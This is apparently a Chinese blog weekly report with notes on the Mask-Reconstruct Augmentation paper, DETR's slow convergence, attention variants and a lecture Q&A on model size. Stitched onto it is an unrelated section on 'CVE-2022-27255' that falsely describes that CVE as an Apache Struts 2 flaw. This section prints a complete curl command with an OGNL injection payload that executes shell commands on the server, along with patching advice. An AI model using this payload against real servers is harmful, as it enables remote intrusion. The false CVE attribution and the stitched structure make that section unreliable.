2022-7-27周报

本文介绍了Masked Autoencoders(MRA)作为一种新型的数据增强技术,用于深度神经网络的训练规范化。MRA通过自监督学习,使用注意力机制的掩蔽策略生成增强图像,提高了模型的性能。然而,DETR模型在训练中可能因query和特征的不对齐导致收敛困难。此外,对比了GAT、Self Attention和Cross Attention在不同任务中的应用和区别。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

一、论文名称:Masked Autoencoders are Robust Data Augmentors

  • 论文地址:https://arxiv.org/abs/2206.04846
  • 代码地址:https://github.com/haohang96/MRA

1.1 简介:

  深度神经网络能够学习强大的表示来解决复杂的视觉任务,但会暴露出诸如过拟合问题之类的不良特性。为此,图像增强等正则化技术对于深度神经网络的泛化是必要的。尽管如此,大多数流行的图像增强方法都将自己局限于现成的线性变换,如缩放、翻转和颜色抖动。由于它们的手工属性,这些增强不足以生成真正的难增强示例。
  在本文中,作者提出了一种新的增强视角来规范训练过程。受最近成功将掩蔽图像建模(masked image modeling )应用于自监督学习的启发,作者采用自监督掩蔽自动编码器来生成输入图像的失真视图。利用这种基于模型的非线性变换作为数据增强可以改善高级识别任务。作者将提出的方法称为掩蔽重建增强(Mask-Reconstruct Augmentation,MRA)。在各种图像分类基准上的广泛实验验证了所提出的增强的有效性。具体来说,MRA 不断提高监督、半监督和少样本分类的性能。
简而言之,本文做出以下贡献:
  受图像修复的启发,本文提出了一种称为 MRA 的鲁棒数据增强方法,以帮助规范深度神经网络的训练。通过引入基于注意力的掩蔽策略进一步限制生成,该策略对训练进行降噪并提取对象感知表示。MRA 在一堆分类基准中统一提升了性能,证明了 MRA 的有效性和稳健性。

1.2 模型结构:

在这里插入图片描述

  • MRA整体结构为使用基于注意力的二进制掩码 M ∗ M^* M,作者首先获取掩蔽图像 M ∗ 点乘 x M^*点乘x M点乘x。然后,划分掩蔽图像成不重叠的patch并丢弃mask patch。剩余的可见patch被送入预训练的编码器 E θ E_\theta Eθ和解码器 D ϕ D_\phi Dϕ以生成重建图像 x ^ \hat{x} x^
  • 注意力掩码机制仅用在下游任务中,在预训练自动编码阶段继续随机掩蔽patch。使用注意力机制的目的是提取前景图像,去除背景图像。
  • 一旦经过预训练,MRA是固定的,并且在对不同的数据集和任务进行测试时不需要进一步微调,它仍然可以生成稳健且可信的增强。

1.3 总结

  本文提出了一种鲁棒的数据增强方法,Mask-Reconstruct Augmentation (MRA) 来规范深度神经网络的训练。通过 Mask-Reconstruct Augmentation,作者实现了重建原始图像的部分区域来增强原始图像。
  当只生成mask区域时,增强是可控的且很强的。一堆分类基准中的实验证明了 MRA 的有效性和鲁棒性。尽管本文的工作显示出有希望的结果,但仍然存在一些局限性。这种增强不适用于实例分割等密集预测任务,因为生成增强很容易破坏实例的边界。

二、为何DETR难以收敛

  • 参考:https://zhuanlan.zhihu.com/p/506039009(赞)

  根据作者的设想,每个object query会根据各自感兴趣的区域通过Transformer decoder里的Cross-attention layer从图片中抽取相应的物体特征。
在这里插入图片描述
  这个抽取特征的过程包含两个步骤,一个是key (image features) 对于query (object queries) 的相似度匹配,一个是依据匹配结果对value (image features) 进行加权平均。然而理想很丰满,现实很骨感。问题就出在这第一个步骤上:由于query embedding是随机初始化的,object queries和image features在模型训练的初期无法正确匹配。
  直观上理解,一把钥匙 (object query) 开一把锁(图片上某一特定区域的物体)。但是由于钥匙是随机初始化的,导致它实际上开不了任何一把锁(图片上任意位置的特征对于object query的相似匹配度都很低)。结果就是Cross-attention layer实际上几乎均匀地抽取了整张图片的特征,而不是有针对性的抽取特定区域内的物体特征。可以想象,在这之后的object query不仅采集了目标物体的特征,还采集了图片背景和其他不相关物体的特征,因此用它来分类和定位目标物体还是很困难的。
  换个角度考虑,Cross-attention可以想象成是一种软性的RoIAlign:从图片中依据kq相关性 (attention map) 划分出感兴趣区域 (region of interest) 并收集相应特征。DETR难以收敛的原因就是由于object query和image feature间的不对齐 (misalignment),导致无法有针对性的收集特定区域的物体特征,而是收集到了图片上其他很杂乱的特征。
  简单补充一下为什么基于CNN的检测器没有这个问题:Two-stage detectors是直接利用RoIAlign操作对齐了region proposal和image features;对于One-stage detectors,anchor box的中心是依据所处特征的image coordinate设定的,大小是依据所处金字塔的feature scale设定的,所以大体上也是对齐的(参考AlignDet[1])。

Future direction

  探讨object query的数量对于检测精度的影响。理论上100已经远远大于图片上可能出现的物体个数了,然而更多的query还是会带来更高检测精度。直观上思考,越少的query会导致各个query的搜索范围变大,并且难以检测同一位置的多个目标;过多的query又会导致难以抑制多个query收敛到同一物体的情况。那么多少才是合适的query数量呢?每层需求的query数量相同吗?
  由于需要精准定位物体,DETR必须能够很好地编码特征的绝对/相对位置关系。DETR目前所采用地Positional embedding是否是最佳方案?或许该在Transformer里塞一些卷积层,或者是否能够从query based patch localization角度,构造一个自监督训练框架?
  还有one to one的匈牙利匹配会不会也是造成DETR收敛慢的原因呢?DN-DETR[7]和Dynamic Sparse RCNN[8]都尝试通过增加正样本数量来优化原本的标签匹配算法。如果把Transformer decoder里的Self-attention layer全都拿掉,再利用OTA[9]匹配优化detection head,结果会如何?大家觉得怎么样呢 😃

三、GAT, Self Attention, Cross Attention对比

3.1 Cross Attention

  Cross Attention只在Self Attention基础上做了模块输入上的改动。它通常作为decoder模块,与Self Attention作为encoder共同使用。它输入的Query来自encoder(Self Attention)的输出,而Key和Value则来自初始的input,即encoder的输入,意思是将encoder输出作为预测句子的一种表示,然后其来查询与原始输入句子中每个单词的相似性。直觉上来说,Cross Attention就是评估原始句子中的单词对于构建预测句子y的相关程度,相关性越高权重就越高。
  Cross Attention在decoder中应用非常多,一般在encoder使用了Self Attention后,在decoder中先用Cross Attention网络层获取attention value,然后接一个MLP层或LSTM层预测目标如句子或车辆轨迹,比直接用MLP或LSTM作为decoder的效果会好很多。
  除此之外,Cross Attention的Query和Key也可以来自两个不同的输入,例如一个是图像,一个是对应的文本,用来求两者的相关性,即图像-文本任务,这也是该模块设计出来的初衷之一。

3.2 Graph Attention Network(GAT)

  GAT在2018年论文“Graph Attention Networks”中提出, GAT和Self Attention本质都在做同样的事情,Self Attention利用 attention 机制将输入中的每个单词用其上下文所有单词的加权来表示,而 GAT 是利用 attention 机制对每个节点只用其邻接节点的加权来表示。
在这里插入图片描述在这里插入图片描述
  由公式可以看到, W W W是所有节点共享的weighted matrix, h i h_i hi是第i个节点的feature, a a a是attention网络层, e i j e_{ij} eij求出的是节点j对于节点i的重要程度。这里和Self Attention中的是在做同一件事。
  GAT和Self Attention的区别在于,GAT是对邻接节点做attention,Self Attention对全局信息做attention;此外,GAT的图中各节点都有邻接信息来表示位置关系,而Transformer 将文本隐式的建图过程中丢失了单词之间的位置关系,因此为了补偿这种建图损失的位置关系,Transformer也额外用了位置编码来表征位置信息。

3.3 Self Attention

  解析:在将图片分成多个小patch送入网络中时,需要按照顺序输入,因为需要与之后添加的位置编码一一对应。下图所示为对输入的位置编码向量可视化的结果。黄色是相似性最大的部分,即对应的patch在整个图片中最准确的位置。
在这里插入图片描述

四、网课中问题:是否能用统一的指标衡量vision和nlp的模型大小?是否公平?

Q: How do you measure your model size between vision and language models? Are they comparable using the same standard?
A: If you just measure a number of parameters, then these visual models are much smaller. However, the language model’s number of parameters, like a huge chunk of it, is in the dictionary, for example, which for us just doesn’t exist if there’s linear embedding, which is a trivial number of parameters. So in terms of number of parameters, it’s much smaller. My personal opinion is that number of parameters doesn’t mean that much. Then the other way that you could measure is maybe in terms of compute. Like, how much floating point operations does it do on one data point? And in terms of this, it’s in the same ballpark. However, last time I checked, which is quite a few months ago, the largest language model was still, like, four times more or five times more in the vision model, I believe. I don’t think either of the ways is one true way to measure model size. And I think it’s actually an interesting research topic like how to properly measure and order models in terms of capacity.

### 关于 CVE-2022-27255 的安全漏洞详情 CVE-2022-27255 是一个存在于 Apache Struts 2 中的远程代码执行漏洞。该漏洞允许攻击者通过精心构造的 HTTP 请求,在受影响的应用程序中实现未授权的命令执行。此漏洞的根本原因在于 Struts 2 对用户输入数据处理不当,特别是在 `StrutsPrepareAndExecuteFilter` 过滤器中的参数解析阶段[^1]。 #### 漏洞影响范围 Apache Struts 2 版本 2.0 至 2.5.26 均受到此漏洞的影响。具体来说,任何依赖默认配置并启用了动态方法调用(Dynamic Method Invocation, DMI)功能的应用程序都可能存在风险。如果应用程序禁用了 DMI 或正确设置了白名单过滤,则可以有效降低被利用的可能性[^3]。 --- ### 技术细节分析 当 Struts 接收到含有恶意 OGNL 表达式的请求时,这些表达式会被错误地解释为合法操作的一部分,并最终被执行。以下是触发漏洞的关键路径: 1. 攻击者发送带有特殊构造参数名或值的 HTTP 请求; 2. 参数经过 Struts 内部框架解析后转化为 OGNL 脚本; 3. 如果目标服务器未采取适当防护措施,则会运行由攻击者控制的脚本逻辑。 为了演示这一过程,下面是一个简单的 POC 示例用于测试环境下的验证工作,请勿在生产环境中尝试! ```bash curl 'http://example.com/app/action' -d "id=%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='whoami').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}" ``` 上述代码片段展示了如何利用该漏洞来获取当前系统的用户名信息作为示例用途仅限研究学习不得滥用技术危害他人利益[^4]。 --- ### 修复建议与缓解策略 针对 CVE-2022-27255 的解决方案主要包括以下几个方面: 1. **升级至最新版本**: 将使用的 Apache Struts 库更新到不受此问题影响的新版号之上,例如从官方发布的补丁包或者直接迁移到更稳定的分支系列如 Struts 2.5.27 及以上版本[^2]。 2. **关闭不必要的特性**: 修改应用配置文件以显式禁用 Dynamic Method Invocation 功能。可以通过设置如下属性完成此项调整: ```properties struts.enable.DynamicMethodInvocation=false ``` 3. **加强输入校验机制**: 在业务层面增加额外的数据清洗流程,确保所有外部传入的内容均符合预期格式要求后再交予底层引擎进一步处理。 4. **部署 WAF 防护层**: 使用 Web Application Firewall 来拦截可疑流量模式,从而减少潜在威胁带来的损害程度。 --- ### 总结说明 综上所述,对于存在 CVE-2022-27255 缺陷的产品而言,及时跟进厂商给出的安全通告并按照指导实施相应的修补动作至关重要。与此同时也要注重日常运维管理工作中有关网络安全意识培养以及应急响应能力提升等方面的工作开展情况评估。 ---
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值